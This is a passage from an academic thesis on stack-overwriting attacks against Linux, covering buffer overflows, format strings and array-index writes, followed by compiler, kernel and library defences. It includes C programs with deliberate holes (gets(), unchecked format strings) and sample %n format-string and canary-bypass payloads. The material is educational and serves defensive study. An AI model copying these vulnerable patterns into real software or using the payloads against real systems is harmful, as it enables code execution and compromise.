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This thesis studies the principles of stack overwriting attacks and proves existing 
security products inadequate. The research is done by testing four different 
software products against nine test cases. Chosen products are Openwall kernel 
patch 2.2.19, PaX kernel patch 2.2.18, Libsafe 2.0 and Immunix 6.2. The attack 
detection capability and performance effects of each product are measured and 
analyzed. 
 
Red Hat Linux 7.0 is used as test environment, but the methods and results apply 
to other operating systems as well. The techniques and principles of different 
types of attacks are explained with details using simplified examples. These 
methods include buffer overflows, format string attacks, non-terminated strings 
and array boundary overflows.  
 
The products are found to be only a partial solution to the problem and in addition 
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are covered.  
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TERMS, ACRONYMS AND ABBREVIATIONS 

 

ASCI IZ  Zero terminated string.  

canary value Local variable in stack added by the compiler, used to 

check stack integrity. 

CGI Common Gateway Interface, a specification for 

transferring information between a web server and an 

external program generating dynamic content. 

daemon Common name for server programs running in the 

background. 

ELF Executable and Linkable Format, binary executable 

file format supporting position-independent code. 

exploit Particular technique or program abusing a known flaw 

in an application. 

gcc  GNU C compiler. 

gdb  GNU debugger. 

glibc  Library of standard C functions. Used by gcc. 

GNU "GNU’s Not Unix". An open source organization 

developing various applications. 

grep Unix utility used to search strings from files. 

HTML  HyperText Markup Language is a language to specify 

the structure of documents in the Internet.  

HTTP HyperText Transfer Protocol. Used widely in the 

Internet to transfer HTML files. 

Intel x86 Common name for Intel processor architecture used in 

80x86 and Pentium processor families. 

JVM Java Virtual Machine. 

libc  Standard C library containing the basic C functions. 

lint  Unix utility used to check C source code. 
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NASM The Netwide Assembler, an open source 80x86 

assembler. 

OS Operating System. 

root Default administrator’s user name on Unix operating 

systems. 

SPARC Processor architecture developed by Sun 

Microsystems. 

SSH Secure Shell, telnet replacement using strong 

cryptography. 

wrapper  Software that accompanies the resources of another 

software for purpose of improving convenience, 

compatibility or security. 
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1 INTRODUCTION 

A new type of vulnerability has been discovered in Unix based operating systems 

causing severe security flaws. These vulnerabilities are based on stack overwriting 

using various methods. In the worst case these flaws will give full access to the 

target system for any remote attacker. Different workarounds have been 

developed to detect and prevent these kinds of attacks and are commonly 

considered to provide good security. The main purpose of this thesis is to study 

and evaluate these defence techniques and to prove them insecure. Attack 

methods are also introduced with details and examples to provide the reader with 

a basic understanding of the subject. 

 

The selected defending techniques contain library wrappers, compiler extensions 

and kernel patches. The evaluation is done by testing some existing products with 

vulnerable test applications. The chosen products are Openwall patch for kernel 

version 2.2.19, PaX patch for kernel version 2.2.18, Libsafe 2.0 and Immunix 6.2. 

The tests are made mainly in a Red Hat Linux 7.0 environment, but the results and 

methods are also applicable to other operating systems as well. Some methods to 

minimize the damage of a successful attack are also studied at the end of this 

thesis. 



 

 

7

2 STACK OVERWRITING ATTACKS 

2.1 Principles of stack overwriting 

All exploits based on stack overwriting depend on unchecked use of the stack, 

which allows a malicious user to modify the internal state and behavior of the 

target application. The problem is mainly derived from the C language itself, 

which gives a lot of freedom to the programmer and leaves some of the checking 

to the programmer’s responsibility. /3/ Also some libc functions are 

fundamentally vulnerable, one good example is the gets(char *buf) function, 

which stores one line from standard input to the given buffer. /3/ Unfortunately 

the function does not contain any kind of checking for buffer length and 

overwrites the memory area after the buffer if the line is longer than the buffer. 

This causes unpredictable behavior of the program or segmentation fault if the 

program does not occupy the overwritten memory area.  

 

If the memory area after the overwritten buffer contains control data like function 

return address, then the malicious user may alter it to make the application do 

something it wouldn't normally do. In the Intel x86 architecture the stack grows 

downwards, leaving the function return addresses just after function local 

variables. /21/ Also at least Sun SPARC has the same behavior. /32/   

 

Since we can change the return address of the functions we can jump anywhere in 

the program after a vulnerable function. This means that we can execute any 

protected program parts or if we can copy our own code to the program's 

executable memory then we can run the code of our choice in the target machine. 
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2.2 Methods of overwriting the stack 

2.2.1 Buffer overflows 

Buffer overflows are the easiest way to scramble with the stack. They are also 

very common as most programmers are lazy enough to use functions like strcat(), 

strcpy() and gets() instead of safe length checking versions of the same functions. 

 

The principle of buffer overflow is explained with an example. Consider program 

like in Source 1 and it’s stack inside the hello() function in Table 1. (as seen in gdb 

under Red Hat 7.0) Note that the stack grows from top to bottom and strings grow 

from bottom to top. 

 

#include <stdio.h> 
 
int hello(char *  greeting,char *  message) 
{  
  char name[8]; 
  char country[8]; 
  printf("Your name? "); 
  gets(name); 
  printf("Your country? "); 
  gets(country); 
  printf("%s %s from %s! %s\n",greeting,name,country,message); 
  return 0; 
}  
 
int main(int argc,char **argv) 
{  
  hello("Hello","Happy hacking!"); 
  printf("Back in main() function.\n"); 
  return 0; 
}  
 

Source 1: Example program demostrating stack behavior  



 

 

9

 

Table 1: Stack of  example program in Source 1 

Address Size Contains 
0xbffff54c 4 bytes pointer to message 
0xbffff548 4 bytes pointer to greeting 
0xbffff544 4 bytes return address 
0xbffff540 4 bytes previous frame pointer 
- 0 bytes in this gap there could be unused memory as a result of 

memory aligment. (the memory is faster to access in 
addresses dividable by 32 and 16) 

0xbffff538 8 bytes name 
0xbffff530 8 bytes country 

 

If we compile and run the program under Linux, it acts like in Output 1. As we 

can see, the program overwrites the name buffer with oversized answer given to 

the country question.  

 

Your name? Ville 
Your country? Finland Pekka 
Hello Pekka from Finland Pekka! Happy hacking! 
Back in main() function. 

Output 1: Execution flow of the example program in Source 1 

 

If we give it a string long enough as a country it will result a segmentation failure 

as shown in Output 2. 

 

Your name? Ville 
Your country? Finland Pekka Testtest 
Hello Pekka Testtest from Finland Pekka Testtest! Happy hacking! 
Segmentation fault (core dumped) 

Output 2: Execution flow with illegal parameters 

 

The segmentation failure happens because the input string overwrites the return 

address in stack. Note that the Hello string is printed normally, but the 

segmentation failure has occurred before printing the "Back in main() function." 

message. So even when the stack is already in disorder, the program is running 

normally until the execution returns from the hello() function. Now if we could 

change the return address to something reasonable we could force the target 
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program to do something nasty. For example spawning a new shell would give 

access to the system. 

2.2.2 Overflowing buffers with non-terminated strings 

On some cases the parameter sizes seem to be securely checked before performing 

any buffer operations, but there’s one special case with strings that are exactly the 

maximum size given. For example the strncpy(char *  dest,int n,char *  source) 

copies maximum of n bytes from source string terminated with tailing zero. But if 

the source is longer than n bytes, then strncpy() will copy exactly n bytes from 

source string leaving the dest string unterminated. This means that when the dest 

string is used later, it is longer than n bytes even though no overflow has occurred. 

/30/ 

 

Consider the program like in Source 2. The sprintf() seems to be safe since the 

country is no longer than 40 bytes, the name has maximum of other 40 bytes and 

the rest of the greeting string takes 32 bytes with the tailing zero. But if we run the 

program with parameters longer than 40 characters, we will get results like in 

Output 3. 

 

#include <stdio.h> 
 
int main(int argc,char **argv) 
{  
  char greeting[112]; 
  char name[40]; 
  char country[40]; 
  if (argc<3) 
    exit(1); 
  strncpy(name,argv[1],40); 
  strncpy(country,argv[2],40); 
  sprintf(greeting,"Hello %s from %s! Have a nice day!\n",name,country); 
  printf("%s",greeting); 
  return 0; 
}  

Source 2: Example program to demonstrate non-terminated buffers 



 

 

11

 
$ ./test our_first_test_parameter 
a_long_parameter_to_demonstrate_buffer_overflows 
Hello our_first_test_parameter from 
a_long_parameter_to_demonstrate_buffer_o>@hõÿ¿our_first_test_parameter! 
Have a nice day! 
Segmentation fault (core dumped) 
$ 

Output 3: Exection flow of the example program with over  sized parameters 

 

This demonstrates how the safe looking program can overflow the local buffers 

and the return addresses in stack.  

2.2.3 Format strings 

Another common method of smashing the stack is to carelessly use the written 

printf function calls. The printf() can be used to overwrite the stack by using the C 

language feature known as variable length argument list. Actually some of the 

printf() and scanf() functions can be used to overwrite the parameter buffers in the 

manners described earlier in this chapter, but here we describe another elegant 

way to alter the execution of the program. Other functions using the format strings 

can be used instead, but for simplicity they are here referred to as printf() 

functions. 

 

The parameters for a function call are stored in the stack and the number of 

parameters needed by printf() depends on the format string parameter given to it. 

For example printf("%s",string) has two parameters, but printf("%s 

%s",string1,string2) has three. /17/ It is also possible to write data to a parameter 

using the %n conversion directive. /17/ The %n is used to calculate the number of 

characters written so far and the result is stored to the next parameter on the stack. 

/17/ Using these conversion directives it's possible to read the contents of the 

stack and to write to an arbitrary address in memory. This gives again access to 

the function return address and to the execution flow of the program. /22/ The 

principle is demonstrated with an example program in Source 3. 
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#include <stdio.h> 
 
int hello(char *  greeting,char *  message) 
{  
  char buf[100]; 
  snprintf(buf,99,greeting); 
  printf("%s! %s\n",buf,message); 
  return 0; 
}  
 
int main(int argc,char **argv) 
{  
  if (argc==1)  
     exit(1); 
  hello(argv[1],"Happy hacking!"); 
  printf("Back in main() function.\n"); 
  return 0; 
}  

Source 3: Example program to demonstrate format str ing vulnerability 

 
The Table 2 shows the stack when the sprintf() is called. (As seen in gdb under 

Red Hat 7.0) 

 

Table 2: Stack of the example program in Source 3 

Address Size Contains 
0xbffff53c 4 bytes pointer to message 
0xbffff538 4 bytes pointer to greeting 
0xbffff534 4 bytes return address (to main() function) 
0xbffff530 4 bytes previous frame pointer (main() function’s) 
0xbffff51c 20 bytes unused memory1 
0xbffff4b8 100 

bytes 
buf 

0xbffff4b4 4 bytes unused memory1 
0xbffff4b0 4 bytes pointer to greeting 
0xbffff4ac 4 bytes size of the buf  (0x63) 
0xbffff4a8 4 bytes pointer to the buf 
0xbffff4a4 4 bytes return address (to hello() function) 
0xbffff4a0 4 bytes previous frame pointer (hello() function’s) 

 

                                                
1 The unused memory is a result of memory alignment and may have been used earlier as a 

temporary memory for function calls in the calling function. 
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If we had used sprint() instead of snprintf(), we could have directly overwritten all 

the contents of the stack above the buf parameter like described earlier. But now 

the amount of bytes copied to the buf is limited to 99 bytes, which its’  maximum 

size without the leading zero added by snprintf(). Fortunately we can access the 

stack with another trick. The number of parameters for the snprintf() is not 

checked and we can fool it to use the memory in stack after the real parameters as 

an additional parameter. It is important to note that even when the parameters are 

stored in stack, they are read bottom to top from the memory, so the first 

parameter is pushed last to the stack and vice versa. /22/ 

 

For example when we run the program in Source 3 with "Test %x" as a parameter, 

then the snprintf() will need one more parameter than it actually has. Since the 

snprintf() doesn't check the number of parameters, it will simply use the next 

value on the stack after the last actual greeting parameter. As a result it will print 

the value of the unused memory to the buf string. If you use "Test %x %x", then 

you will get two values from the stack, which are the unused 4 bytes after the 

greeting parameter and 4 first bytes from the buf string. This means that we have 

access to the additional parameters through the buf string. With appropriate format 

string it is also possible to read all the values on the stack as long as the output 

buffer is long enough. In this case the buf string itself is between the snprintf() and 

the useful values like function return address, so we can't reach them directly. /22/ 

 

The snprintf() has also one directive, which saves data instead of printing it. It is 

"%n", and it is defined as follows: "The number of characters written so far is 

stored into the integer indicated by the int *  (or variant) pointer argument. No 

argument is converted.". /17/ In English this means snprintf() will save the 

number of characters printed so far to the address given next in the parameter list. 

If we recall that we can control additional parameters of the snprintf() through the 

buf string, we realize that we can save this number to any address in the memory. 

(As long as the address has no \0x00 byte in it, which would end the format string 

parsing.) In our case for example format string "\0x34\0xf5\0xff\0xbf%n" would 

override the return address to main() function with number 4 (0x00000004). The 
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address is upside down since the Intel x86 processors have a little-endian 

architecture. /21/ We can also add some space to the format string if we want a 

bigger number, respectively "\0x34\0xf5\0xff\0xbf1234%n" would write number 8 

over the return address. 

 

So it’s possible to change the return address (or any other variable in memory) to a 

relatively small number this way, but the size of the format string buffer limits the 

number to 99 or less in our case. There are some workarounds for this, the %n 

directive actually saves the number of characters that should have been printed if 

the string hasn’t been truncated. Also such formatting directives can be used, 

which take more space when printed than in the actual format string. Consider 

format string "\0x34\0xf5\0xff\0xbf%500d%n", it will print the 4 bytes of the 

address and then the next value on stack to a 500 character long space, after this it 

will write number 504 to the next address on stack. Tho the number is a lot bigger, 

but it is still not enough for a 32 bit address. Also the ISO 9899:1999 standard 

limits the number of characters spent by single directive to 4095, so we can’ t use 

these directives directly to write arbitrary values to memory. /15/ Some other 

platform specific restrictions may also exist.   

 

The numbers from 4 to 4095 are still not enough for our purposes, but again we 

have a workaround. We can write the address one or two bytes at time with 

several %n directives and appropriate addresses on the format string. With ISO 

9899:1999 compliant platforms like Red Hat 7.0 we can also use the %hhn 

directive, which stores the number to a single byte. /15/ All implementations of 

snprintf() do not support the %hhn directive, but then the same effect can be 

achieved with four separate 32bit writes to consecutive addresses. /22/ All 

processor architectures may not support this kind of byte aligned memory writes, 

but usually at least 16 bit writes are supported. 

2.2.4 Overflowing array boundaries 

In addition to checking the buffer size, in C language also the array boundary 

checking is left to the programmer. This leads to a new kind of flaw if we can 

apply illegal values to array index. An example program is shown in Source 4. If 
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illegal answers are given to the “user ID”  question, the stack will be overwritten 

in an arbitrary address while storing user name and country. This normally causes 

a segmentation fault like in Output 4, but if the index value is chosen carefully,  

the function return address can also be altered directly.  

 

#include <stdio.h> 
 
typedef struct {  
  char name[8]; 
  char country[8]; 
}  User; 
 
int hello(char *  greeting,char *  message) 
{  
  User users[10]; 
  char tmpbuf[8]; 
  int id; 
 
  printf("Your user ID? "); 
  gets(tmpbuf); 
  id=atoi(tmpbuf); 
  printf("Your name? "); 
  gets(users[id].name); 
  printf("Your country? "); 
  gets(users[id].country); 
  printf("%s %s from %s! %s\n", 
greeting,users[id].name,users[id].country,message); 
  return 0; 
}  
 
int main(int argc,char **argv) 
{  
  hello("Hello","Happy hacking!"); 
  printf("Back in main() function.\n"); 
  return 0; 
}  
 

Source 4: Example program demonstrating indirect wr ites with ar rays 
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$ ./test4 
Your user ID? -1 
Your name? Ville 
Your country? Finland 
Segmentation fault (core dumped) 
$  

Output 4: Execution flow of the example program with illegal parameters 

2.2.5 Unknown techniques 

In addition to these four basic methods some unknown bugs may still exist in the 

standard libc library. The libc is also not the only library, there are many other 

widely used libraries, which may contain bugs. Even the kernel itself is not 

flawless. /23/ New programming languages may also bring out a new set of holes 

specific to a language. For example, the Java Virtual Machine (JVM) will accept 

byte code, which violates the language semantics and which can lead to security 

violations. /19/ 

2.3 Places to store attack code 

2.3.1 Purpose of attack code 

Overflowing buffers and overwriting other variables is a nasty thing, but since we 

are also able to change to execution flow of the process then we might want to 

change the behavior of the program instead of simply changing its’  state. An 

interesting thing to do is to spawn a shell using the holes described in the last 

chapter. It would allow a malicious attacker to gain access to the remote machine 

or if the process is ran as a privileged user, then the normal user could gain more 

privileges. In the worst case a remote attacker could get root access and it is not 

even as uncommon as one might think. There have been several major holes in 

such popular Internet server products as Sendmail (SMTP server) /6/ and Bind 

(famous DNS server) /7/. 
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2.3.2 Process stack 

There are many different places from where one can execute code on the fly. The 

most popular place is the normal process stack because one can store the code and 

chance the function return address with a single printf() format string or an 

overflowable buffer. However there are some restrictions, for example the 

overflowable buffer may be so small that it cannot hold enough code to do 

anything reasonable. In our example program in Source 1, the buffer has only 16 

bytes of space to hold the code. This is hardly enough for anything as our own 

optimized shell code made in chapter 4 took as much as 28 bytes in Linux-x86 

environment.  

 

Using the stack to hold our attack code also has the disadvantage of being 

replaceable. This means that we don’t know exactly where in the memory the code 

lies, as the top of the stack may vary. Fortunately the code in stack resides often 

almost in the same place, so at least we know roughly where to jump from the 

main program. If there is a lot of space available for the attack code, this is not a 

problem, because the code can be padded with the dummy code, which does 

nothing. On Intel x86 architecture there is an instruction called No Operation 

(NOP). It reserves only one byte memory and does nothing. /21/ Padding our 

attack code with these NOP commands allows us to jump to any address in the 

"NOP" area to get our code executed. /1/ Look at the Table 3, which represents 

the fictional status of the stack during a printf() format attack in our previous 

example program in Source 3.  
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Table 3: Contents of stack dur ing fictional format str ing attack 

Address Size Contains 
0xbffff53c 4 bytes pointer to message 
0xbffff538 4 bytes pointer to greeting 
0xbffff534 4 bytes compromized return address (to main() function) 
0xbffff530 4 bytes previous frame pointer (main() function’s) 
0xbffff51c 20 bytes unused memory 2 
0xbffff4b8 
0xbffff4b8 
0xbffff4c8 
0xbffff508 

100 bytes 
16 bytes 
56 bytes 
28 bytes 

buf 
format string used to overwrite the return address 
NOP 
attack code 

0xbffff4b4 4 bytes unused memory 2 
0xbffff4b0 4 bytes pointer to greeting 
0xbffff4ac 4 bytes size of the buf (0x63) 
0xbffff4a8 4 bytes pointer to buf 
0xbffff4a4 4 bytes return address (to hello() function) 
0xbffff4a0 4 bytes previous frame pointer (hello() function’s) 

 

Note that the buf buffer is now divided into three parts, which are controlled 

through the command line parameter. (The contents of buf are copied from the 

first command line parameter.) The first part contains the format string used to 

overwrite the return address, after which there are 56 NOP instructions and the 

last part contains the 28 byte attack code. /28/ This way it’s enough if the return 

address is between 0xbffff4c8-0xbffff500. If the stack now moves a little in the 

memory, the attack code will still be executed as long as it stays within the limits. 

 

It is relatively easy to prevent using the stack to store the attack code by making 

the stack non-executable. This will be dealt with in detail in chapter 3. 

2.3.3 System environment 

If the stack is not big enough for our code, then a good place for the code could be 

the Unix environment variables. The starting address of stored attack code is 

easily obtainable with a single getenv() function call and it is also easy to guess, 

since the environment variables lie on top of the stack.  

 

                                                
2 The unused memory is a result of memory alignment and may have been used earlier as a 

temporary memory for function calls in the calling function. 
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Using this method requires access to the environment of the target process. 

Normally this means access to the computer and therefore this method is usually 

only usable in local attacks. There is an exception with server daemons, which 

execute other processes and pass data from the user in the environment variables. 

Web servers are a good example as they pass data to external CGI binaries 

through the system environment. /2/ However, the size of the data to which the 

attacker has access to, may not be long enough to store the attack code. 

2.3.4 Other segments 

Some OS architectures, like Linux, have executable data and heap segments, 

which makes them a suitable place for storing attack code. /21/ The data segment 

contain global variables and the heap holds the memory blocks reserved by the 

malloc() function. These memory areas are commonly used when local variables 

are not enough.  

 

If the above mentioned places cannot be used, then the last chance is to use 

existing code from the program itself or libraries linked along. Existing code 

resides in the read-only text segment, but if we find a suitable code block, we 

don’ t actually need the write privileges, since the code block can be used as it is. 

/29/  

2.4 Methods of executing attack code 

2.4.1 Basics of process execution 

Plain arbitrary code somewhere in the target machine doesn't do much good if it's 

never executed. This is why its’  useful to know how the process execution flow is 

managed and how can we get control of it.  

 

The process execution is managed with a special register called Extended 

Instruction Pointer (EIP) in Intel x86 architecture and with Program Counter (PC) 

in SPARC architecture. /21,32/ These registers contain the address of the 

command in memory currently being executed. Normally these registers are 
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increased by the size of the command after it has been executed so that it will 

point to the next command in memory. It is possible to change the EIP register 

directly with such assembler commands like JMP, JNZ and CALL. These are 

normally used when the program needs to branch in such occasions like function 

calls or switch clauses. /21/ 

 

When function calls are made with the CALL command, the current value of EIP 

register is stored to the stack and when the function is finished the execution is 

returned to the calling function with RET command. All what the RET command 

does is fetch the return address from the stack and to store it back to the EIP 

register. Now if we could change the contents of the stack within the function call 

we could also alter the program execution flow. And this is basically what we 

want to do. /21/ 

2.4.2 Overwriting the return address of a function 

The simplest and most the common way of modifying the execution flow is to 

overwrite the function return address so that the program will automatically jump 

to our code when it returns from the victim function. This can be done by using 

the techniques described earlier.  

 

When using buffer overflows to directly overwrite the return address, we do not 

have to know exactly where the stack lies in the memory. The return address will 

always be at the same distance from our buffer. However we still have to know 

where our executable code is, but if it is somewhere else than in the stack then it 

may have a static address. 

 

If we use the printf() format strings to overwrite the return address then we have 

to know exactly where the return address is in memory. One can use the same 

vulnerable printf() call to find the address by scanning the stack with consecutive 

directives like %x and %c. When the address pointing to the stack is found, the 

target address can be calculated. This technique can not be used with the scanf() 

function family, because the scanf() function does not print anything to the user 

and so we can only try to guess the address. 



 

 

21

2.4.3 Indirect writes with arrays 

In some cases it may be necessary to change the return address indirectly. There 

may be other data which should not be overwritten, in the stack between the 

vulnerable buffer and our target data. Writing to this kind of data might for 

example halt the execution of the program before we return from the function. An 

example of this kind of critical data are canary values used by the StackGuard. 

/10/ StackGuard uses this value to detect buffer overflow attacks and rely on the 

fact that overwriting the return address in frame buffer using buffer overflows 

would also overwrite the canary value between the local buffer and the return 

address. /10/ There are still attack methods which write directly to the frame 

buffer passing the canary value and are therefore not detected by products using 

this kind of checking. 

 

One way to skip the canary value in the stack is to use an array boundary attack 

described in chapter 2. Choosing appropriate index values for local arrays makes 

it possible to write to an arbitrary address relative to the array itself. The address 

is not fully arbitrary and the possible addresses depend on the structure of the 

array and the writes to its elements that are accessible. Anyhow, in some cases 

this can be used to write beyond checking values in a local stack.  

2.4.4 Indirect writes with pointers 

Another method to pass canary values is to use pointers. This can be done if the 

target function has local pointers and overflowable buffers after the pointer. In 

this case we can first overwrite the pointer and then use it to write directly to our 

target address. /5/ 

 

There is an example program in Source 5 and its’  stack in Table 4. In the program 

there is a function hello(), which has two internal buffers and one pointer. The 

countrypointer is declared before the name buffer so it is after the name buffer in 

the stack. If we run the program and answer "12345678\x44\xf5\xff\xbf" as our 

name, the string "12345678" will be stored to the name buffer, the address 

0xbffff544 will be stored to the countrypointer and the leading zero of string 
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(0x00) will overwrite the least significant byte of the someint variable. After this, 

the answer to the "Your country?" question will be written to the address pointed 

by the countrypointer we just changed. In this case it would point to the hello() 

function’s return address. If we now answer something like "\x01\x02\x03\x04" to 

the country question, we would jump to the address 0x04030201 when returning 

from the hello() function and the canary value is still untouched. 

 
 
#include <stdio.h> 
 
int hello(char *  greeting,char *  message) 
{  
  int canary; 
  int someint; 
  char *  countrypointer; 
  char name[8]; 
  char country[8]; 
  countrypointer=country; 
  printf("Your name? "); 
  gets(name); 
  printf("Your country? "); 
  gets(countrypointer); 
  printf("%s %s from %s! %s\n",greeting,name,country,message); 
  return 0; 
}  
 
int main(int argc,char **argv) 
{  
  hello("Hello","Happy hacking!"); 
  printf("Back in main() function.\n"); 
  return 0; 
}  

Source 5: A program demonstrating indirect attack with pointers 
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Table 4: Stack of example program in Source 5 

Address Size Contains 
0xbffff54c 4 bytes pointer to message 
0xbffff548 4 bytes pointer to greeting 
0xbffff544 4 bytes return address 
0xbffff540 4 bytes previous frame pointer 
0xbffff538 4 bytes canary 
0xbffff534 4 bytes someint 
0xbffff530 4 bytes countrypointer 
0xbffff52c 8 bytes name 
0xbffff524 8 bytes country 

 

2.4.5 Overwriting the frame pointer 

There are yet more complicated ways of changing the execution flow. One very 

sophisticated method is to rewrite the frame buffer address or parts of it to point to 

our own overflowed buffer. This way it is sometimes enough if the buffer is 

overflowable by one single byte, since this byte can be the least significant byte of 

the saved frame pointer address. Changing this byte a little may change the frame 

pointer to point directly to the overflowable buffer, where the fake frame is stored. 

When the calling function of the vulnerable function returns, it will fetch the fake 

return address from our fake frame buffer. /18/ 

2.4.6 Overwriting function pointers and longjmp buffers 

C language provides a way to call functions dynamically via function pointers. 

They are also a very interesting target for an attacker although they are not very 

commonly used in normal code. Exploiting function pointers is similar to 

overwriting function return addresses with the exception that these pointers are 

normal local variables and usually ignored by the protection products.  

 

Similarly we can overwrite the longjmp buffers. These buffers are used by the 

longjmp() function, which is commonly used in exception handling. The program 

state is stored to the longjmp buffer with setjmp() function and the program can 

return to this state with the longjmp() function when exceptions happen. /17/ The 

buffer contains an address to the code where the setjmp() was called and by 



 

 

24

overwriting this return address it is again possible to change the program 

execution flow.  

 

The exploiting of longjmp buffers is similar to overwriting function pointers with 

an exception of the additional data used to store current state of the stack. If this 

additional data is messed up while overwriting the return address, it may corrupt 

the longjmp() call and cause a segmentation fault instead of executing our code.  

2.5 Attacks based on data overwriting 

Sometimes it may not be necessary to take over the program execution flow, it 

may be enough if we can overwrite internal variables. These variables might 

contain data associated with user privileges or other critical parameters. When 

compared to previous attacks this kind of approach is much easier to write and 

harder to detect, but they still carry out the same kinds of effects. They are also 

not restricted to the stack, but the overwriteable data buffers may lie also in the 

heap or in the data segment, which are not monitored by all protection techniques. 
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3 DEFENDS AGAINST STACK ATTACKS 

3.1 Writing correct code 

All these problems are caused by programming errors and writing only correct 

code would solve these problems. Unfortunately there is no such thing as a bug 

free software, but at least we can try to reduce to amount of holes in our software. 

Normal testing does not normally expose these kinds of flaws as the overflows are 

usually caused by irrational and absurd parameters, which will never occur in 

normal use. Instead we should do extensive code audits for our software to ensure 

it does not contain any known holes. Of course these audits are not error free 

either, but at least the worst errors can be found. 

 

There is software that can be used to find these flaws from the source code. Most 

Unix platforms include utilities like lint and grep, which can be used to check the 

C source code syntax and to find dangerous functions calls like gets(). There are 

also some other tools like ITS4 from Cigital, which searches statically dangerous 

patterns from C and C++ sources and BFBTester, which tests the binary programs 

directly. /33/ 

 

Normally we are not using only our own code and at least the operating system is 

done by someone else. There are also differences between operating systems and 

how error proof they are. For example when comparing open source operating 

systems, OpenBSD is known to make decent source code audits, but most of the 

Linux distributors are not. /25/ Of course there is a lot of common software used 

in both systems, but the core still differs. Differences can be also found from the 

commercial OS vendors, but as these companies do not provide much information 

about their auditing processes, it is hard to compare them directly. One can only 

make assumptions based on their reputation.  
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3.2 Compiler extensions 

3.2.1 Bound checking 

Humans are known to be error prone and therefore it is feasible to improve the 

compiler to do the checking on behalf of the programmer. The easiest way to 

implement this is to check every read and write to arrays and pointers. This would 

prevent all the overflows, but in return it would cause some severe performance 

losses. For example gcc with a full bound checking patch will cause a slowdown 

of around 5 compared to normal unoptimized code. /16/ If only writes to arrays 

would be checked then the program could contain holes giving access to arbitrary 

variables in the memory or the program could still suffer from a denial of service 

attacks if the array reads are targeted outside the process owned memory. 

   

Bound checking alone does not affect to format string attacks at all, since there are 

no arrays to be overflowed. Similarly the printf() family function calls should be 

checked so that the number of conversion directives matches the number of actual 

parameters. However the format string parameter may be dynamic and so the 

number of directives can be checked only during the program execution, 

unfortunately the number of function parameters is not normally known during 

the execution.  

 

In a simple case the number of parameters can be stored using some macro 

trickery, where the actual printf() call is replaced with a macro counting the 

parameters and passing the parameters and the number of them to the real 

implementation of the printf() function. /13/ Unfortunately this trickery does not 

work if the programmer has used variable arguments lists, which allows the 

programmer to change the number of parameters on the fly. 
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3.2.2 Stack checking extensions 

Since the bound checking usually causes problems with performance it is often 

discarded. Lighter overhead is achieved if only the critical contents of the stack 

are checked. The checking is often done only to the return address, which is the 

first target for the attackers. This leaves other contents of the memory still 

vulnerable and make the solution only partial. 

 

The checking of the return address can be done inside the function before 

returning back to the calling function. This checking is done by comparing the 

real contents of the stack to the values stored elsewhere in the beginning of the 

function. The problem in this approach is to find a safe place for the stored values 

since the stack cannot be used. The heap can be used instead but it is slower.  

 

Another way to protect the return address is to add an additional variable to the 

beginning of the local variable block, set a value to it in the beginning of the 

function and check if this value still matches before returning from the function. 

This value can be static and therefore it doesn’t need to be saved anywhere. This 

kind of value is called canary value and it usually contains both the zero (\0x00) 

and the end of line (\0x0d) characters, which stop the string processing and would 

either stop the overflow to the canary or make the attack noticeable. Again this is 

not a complete solution as there are also other ways to alter the execution flow 

than the return addresses and this technique does not notice the format string 

attacks as they write directly to the return address. /10/ 

3.2.3 Double stack 

One way to protect the return address is to use two different stacks, one for local 

variables and the other for return addresses. Separating the return addresses from 

buffers makes it impossible to overwrite the return address using buffer 

overflows, but again this does not protect against format string attacks or local 

variable overwrites. Also kernel must be patched to support multiple stacks and it 

will cause some performance losses. /24/ 
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3.3 Kernel patches 

One of the commonest protection methods used against overflowing attacks is 

non-executable stack. It means marking the stack memory area non-executable 

and making it therefore an unsuitable place for the attack code. This is far from 

being completely safe, since the attack code can usually be moved to the data 

segment or to the heap. Making the stack non-executable also breaks some 

existing products like the ones using glibc trampolines, but this problem can be 

solved with an additional patch. /11/ The good point is that this patch can be 

easily installed and does not require recompilation of the applications. /27/ In 

addition to it does not affect system performance too much. /27/ It is also possible 

to make the data segment and the heap non-executable, this would make virtually 

all writeable memory areas unusable for storing the attack code. Unfortunately 

even this does not prevent all attacks as it is still possible to use existing code and 

finding the exec() command from shared libraries is not too hard. /29/  

 

Another easy way to make life a little harder for the attackers is to move the 

default address of shared libraries to addresses containing zero byte. This makes it 

harder to use existing code in libc as the zero byte normally stops the overflows 

based on ASCIIZ strings. /27/ 

 

Yet another trick is to use random stack start addresses to make the address 

guessing impossible. /34/ Alternatively one can pad stack with a random amount 

of empty space to make the addresses random. /14/ Unfortunately neither of these 

methods provide much security as the attack code may be located somewhere else 

than stack and the attack code can also be padded with NOP commands to make 

the start address more easily guessable.  

3.4 Shared library wrappers 

Another protection method that does not require recompiling is shared library 

wrappers. They add an additional layer to the function calls to libc functions 

checking the parameters. These checks are based on the fact that local buffers 
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cannot extend beyond the current stack frame and if the buffers would extend 

beyond it, the process would be killed and the event logged. /3/ 

 

These library wrappers cannot detect overflows that do not exceed the stack frame 

and nor do they detect format string attacks. However as they require only the 

installation of one external library and cause only minor performance loss, they 

are feasible option. /3/ 

3.5 Rare operating systems 

One way to gain a false sense of security is to use such operating systems or 

hardware that most attackers do not have access to. It is far easier to test and 

develop an exploit for Linux, which is freely available from the Internet than for 

example UNICOS, which is used in Cray supercomputers and requires rather 

expensive and rare hardware. /12/ It is harder to get the exploit tested before an 

actual attack, but the feeling of being safe may be more dangerous than those few 

more attack attempts in a more common system, because the affects of an 

intrusion are more fatal if the system administrator is not prepared to detect the 

attacker. 

3.6 Good administrative habits 

Some normal administrative routines will also help in fighting against stack 

overwriting attacks. Using only the latest versions of each application for example 

and installing all available patches will eliminate most of the known security 

flaws. This does not mean that you are totally safe, but at least it causes more 

work for the attacker. When installing new security patches one should be bear in 

mind that those patches are usually made in a great hurry and in some cases new 

flaws are created while the old ones are fixed. These kinds of bug changes have 

been common especially on Microsoft’s products like Outlook and Internet 

Explorer. /31/ And if such a respected software vendor makes mistakes, it can 

happen to anyone. 
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It is also essential that only the required services are installed to the server. Most 

operating systems enable a wide range of protocols and services by default. 

Unused parts should be removed and those services, which are used only by 

system operators, should be restricted to trusted hosts. The security of each 

installed service should also be considered separately and insecure protocols like 

telnet should be replaced with more secure substitutes. One should also remember 

that all the services installed have to be maintained, not only those which are 

actually used. 

 

Firewalls are the most common method of keeping attackers away from insecure 

services. Unfortunately firewalls may also contain holes, so it is not wise to trust 

them blindly. For example there are currently seven different prevailing security 

alerts on the Check Points3 site. /8/ This means that unsecure protocols should not 

be used carelessly, not even in local networks. Of course there has to be a balance 

between security and network usability, but security issues are forgotten too often 

simply because the company has a firewall. 

 

There are also other basic routines which will help, but they are mostly related to 

